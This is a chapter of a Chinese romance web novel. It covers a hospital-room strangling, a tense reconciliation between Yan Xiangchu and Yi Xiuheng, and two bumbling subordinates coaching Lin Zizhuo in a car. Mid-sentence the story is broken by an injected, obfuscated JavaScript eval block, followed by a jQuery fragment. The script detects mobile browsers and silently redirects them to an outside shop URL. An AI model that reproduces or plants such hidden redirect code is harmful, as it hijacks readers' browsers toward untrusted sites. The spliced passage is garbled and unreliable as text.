擂鼓一般的心跳声敲打着蔺子濯的太阳穴,他恼怒在此时此刻听见了颜相初的声音,恼怒她要护着另一个男人。
下手的力气又重了几分,易修珩的脸色是白的,却仍有力气向他投来一个嘲讽的笑容。
该死!该死!
蔺子濯被一阵怒火气得头脑发昏。这个狼狈且不值一提的男人还在哆嗦着不通畅的嗓子,挑衅着他。
“好……蔺子濯……你最好……可以一直自欺欺人!你就骗自己……骗自己她在乎你……你做的那些……在她眼里……什么都不是!你只是……”
“闭嘴!闭嘴!”蔺子濯简直要被气疯了。
“你只是……一个……下水道的臭虫……”
易修珩费力地吐出最后一个字眼,如他所愿,对方死死地掐着他。喉管出不了气,也进不来气,身体产生了一种濒死的膨胀感。
颜相初披着一件单衣站在易修珩的病房外,敲门无果,争吵声却没了。她心下一惊,转身对着封蒲开口:“去找护士,拿开门的钥匙来。”
病房门被一阵大力猛然撞开,封蒲三步冲上前,一只铁臂剿上了蔺子濯的肩膀就把他向后拖。
蔺子濯远没有封蒲的力气大,被拽得心不甘情不愿。
“滚!滚!放开!放开!”他咒骂着:“易修珩你这张嘴!我给你撕了!”
终于,易修珩的喉管中重新涌入了空气。他脱力斜在病床上,不住地咳嗽,咳得全身发颤。
颜相初一眼看见了易修珩脖子上的掐痕,她虽然知道蔺子濯行为跋扈,却也想不到他会下这样的狠手。
她看向蔺子濯,却正见对方面色狰狞。
“蔺子濯!”颜相初的声音拐了弯:“你疯了吗!你疯了吗!你想坐牢是吗!”
一声愤怒的斥责过后,病房中只剩下易修珩的咳嗽声。
蔺子濯竟然停了挣扎,他对上颜相初的目光,惶然一笑,声线低哑如恶鬼:
“我早说了颜相初……我早说了……我早就疯了……”
荒唐的闹剧最终以蔺子濯被封蒲拖走拖去停车场而结尾,护士重新为易修珩挂了水,他合上眼睛,像是睡着了。
颜相初站在易修珩的病床边,被几名护士隔着,只看见了一个惨白的侧脸。
她像个石雕似的,一直站着。尽管嘴上和脸上都是一副想说话的样子,最后却什么都没有说出口。
等病房中重新剩下两人,易修珩像是发现了她的恍然无措。
“颜小姐,不用觉得抱歉。”他轻声道:“这些跟你,没有关系。”
不,明明这些都是因为她。因为她,所以易修珩才会变成这样,他本来有着自己的平静生活,本来也不需要再遇见她。
多年前,是她不告而别。多年后,也是她没有认出那个小男孩。
颜相初偏过脸,表情失控。易修珩越是善解人意,她越不是滋味。
“怎么不说话了?”他问。
“你去穹兰山,也跟我没有关系吗?你不知道自己生了病?为什么还要去那里!谁也联系不到你!”
话出了口,颜相初又对自己咄咄逼人的态度感到后悔,只好掩饰般避开了易修珩的视线。
原本藏在易修珩眼中的微光黯淡下去,他喉间堵塞:“我只是想,想找一个没有人的地方呆着。”
走远一点,再走远一点。当感受不到她的痕迹,翻滚的心潮会不会平静?
他只是这么想着。
易修珩敛下视线,面上温顺无害,唯一的暗潮被他完美地藏了起来。
“要是我没去,警察也没去,你要怎么办?”
颜相初缓和了责怪的语气:“你是不是太不拿自己的命当命了?”
“但是,你找到我了。”易修珩笑笑:“我也从没想过,那时的女孩是你。”
颜相初终于对上了易修珩的目光,恍然间,她觉得这个人好像从来都没有变过。无论是以前,还是现在。
那个跟在她身后的男孩,一遍一遍喊着要她不要死的男孩,一直都是温和的。
“那你呢?当初,你为什么要救我?”
颜相初避开了枯萎的伤疤,尽量平静地发问。
在所有痛苦的日子中,她曾经不止一次想过,如果当时真的死在了湖底,追上了她的妈妈,是不是会更加快乐。
“我只是,不想看见有人再死在我的面前。”
易修珩的回答轻飘飘的,记忆却飘向了远方。
第一次,他没能看出母亲的脸上写着的是什么。第二次,他看出了那种平静的、赴死的绝望。
“我们,会因为这件事变得不同吗?”
回过神后,他问道。
颜相初还在看着易修珩,看着他的表情由茫然转向疑惑。突如其来的问题落在二人之间,他们早就欠了这个答案。
她垂下眼睛,半晌后,声音似乎蒙上了一层迷雾。
“我一直认为,那天晚上我们是初次见面。”
“我想着,是我喝了酒,撞上了你。然后,我的扣子挂在了你身上。”
“是我先对你起了不一样的心思。”
“可是后来你说,那天晚上是你先看见了我,这一切都是由你先开始的。”
“看,易修珩,命运的所有轨迹,远比想象中荒诞、精巧。我们无法逃脱必然的因果。”
“你的这些话,怎么在我听来,像是一场祷告?”
易修珩扬起了一个笑,即便笑容和憔悴的面容并不相称。他的嗓音清润了一些,尾音被拖长,掺杂着缱绻。
“也许,是命中注定。我们必须要这样相遇,再分开,最后重新相遇。易修珩,你要逃走?还是要留下?”
颜相初靠近了他的病床,他们之间是可以相依的距离。
易修珩静静听完她说的话,伸手抓上了她:“颜相初,我能吸引你吗?”
“我能,占据全部的你吗?”
蔺子濯被封蒲扭送到了地库。
不知道颜相初是怎么找到了这个力大如牛的人当司机,蔺子濯肩膀酸疼,胳膊像是要掉了。好不容易等封蒲的力气小了,他才从这头蛮牛的手下挣脱。
“颜总不允许你再进入病房。”封蒲冷声道。
“……”
现在真是谁都能使唤他了。
蔺子濯愤怒地瞪向封蒲,正好看见地库的角落停着一辆熟悉的车。
“滚,别再跟着我。”
他撂下一句话,转身走向那辆车。
“彭!”
车门被甩上,坐在车中的林宏宇屁股一跳。
“少爷。”他陪笑道:“颜总没事吧?”
何玮快速打岔:“颜总当然是没事了,我看是少爷比较有事。”
但凡是个明眼人,都能看出蔺子濯现在是灰头土脸满面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718290|202301||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怒容一点就炸。果不其然,何玮话音刚落,车内爆响一阵怒吼。
“放屁!闭上嘴!”
蔺子濯从车座底下拽出一瓶水,仰头灌了下去。
见此情景,林宏宇三下五除二推断出少爷情路坎坷,情事不顺,恐怕是挨了骂。
“少爷!”他稍稍正了神色:“我俩虽然是负责监视这一块的,但是其他的事儿那也是略微精通啊!”
水痕顺着蔺子濯的脖颈快速滑下,最后打着轱辘坠进了衣领深处。
“精通什么,你俩精通睡觉吗?”
“睡觉也挺精通的,可以做到连续十二小时不醒不上厕所。”何玮插嘴道。
“啧!少爷!你有什么困难告诉我俩啊!我俩给你分析参谋!那三个臭皮匠顶一个诸葛亮呢!总比一个人单打独斗好啊!”
蔺子濯非常不满意林宏宇的这个说法,他一把将空瓶扔到前座,空瓶反弹着砸在了何玮的脑袋瓜上。
“你俩臭皮匠,还要带上我?”
“少爷,我掐指一算,你肯定是被颜总骂了。我再掐指一算,今天颜总跑这么远,八成就是为了见那个男的吧。”
林宏宇神神叨叨的,瘦脸左摇右晃。
“你怎么知道?”
听着蔺子濯的语气松懈下来,林宏宇更加上道:“自然是算出来的。”
实则他一看蔺子濯的脸色就能猜出来了,这面如菜色又在菜色上点缀火光的样子,一看就是遭遇了强劲情敌。
“少爷,不妨直言。告诉我俩,少爷那个该死的情敌做了什么!”
林宏宇的声调猛然拔高,震在车内,惹得蔺子濯耳边嗡嗡作响。
“他……就是装可怜,晕在了山上,然后被颜相初发现了。”
“哎呀!”林宏宇恨铁不成钢:“少爷!您都看出来他这是计谋了!您怎么就不能学学呢!”
何玮认同地点头:“其实颜总是个吃软不吃硬的,少爷你总是这么来硬的,效果不大。”
“装啊!装可怜啊!”林宏宇一拍大腿,快速接上了话头。
“他装可怜,你就装得比他更可怜!看看谁最可怜!”何玮一阵胡言乱语、手舞足蹈,却猛地挨了林宏宇一下。
“这个也是有技巧的少爷!你不能直给!你要让颜总在无意中发现!最好是非常惨!”
“少爷你想想!你平常嚣张跋扈惯了,结果却突然以一个非常凄惨的姿态出现在颜总面前,是不是非常具有反差!少爷你听我的!你就找个机会出现在颜总面前,惨兮兮地装成一副我没事的样子!”
车内口水横飞,蔺子濯有些嫌弃地向后躲了躲:“这……可行吗?”
“当然可行了!追颜总这个类型的,一定不能来硬的!少爷你至今为止都是来硬的吧?你看看,见效吗?”
蔺子濯还是不太理解:“具体怎么做?”
“这个要找机会的。”林宏宇看了看车外站着的封蒲,问道:“少爷,颜总的司机怎么从刚才开始就一直站在那儿了?”
“因为颜相初不让我进去医院的病房。”
林宏宇和何玮对视一眼。
看来,情况比他俩想得还严重一些。
“没事,我们要有信心!不在这一时片刻,我们要做好长期作战的准备!”
林宏宇满腔热情。
蔺子濯莫名觉得,自己的两个属下恐怕是脑袋缺了点什么。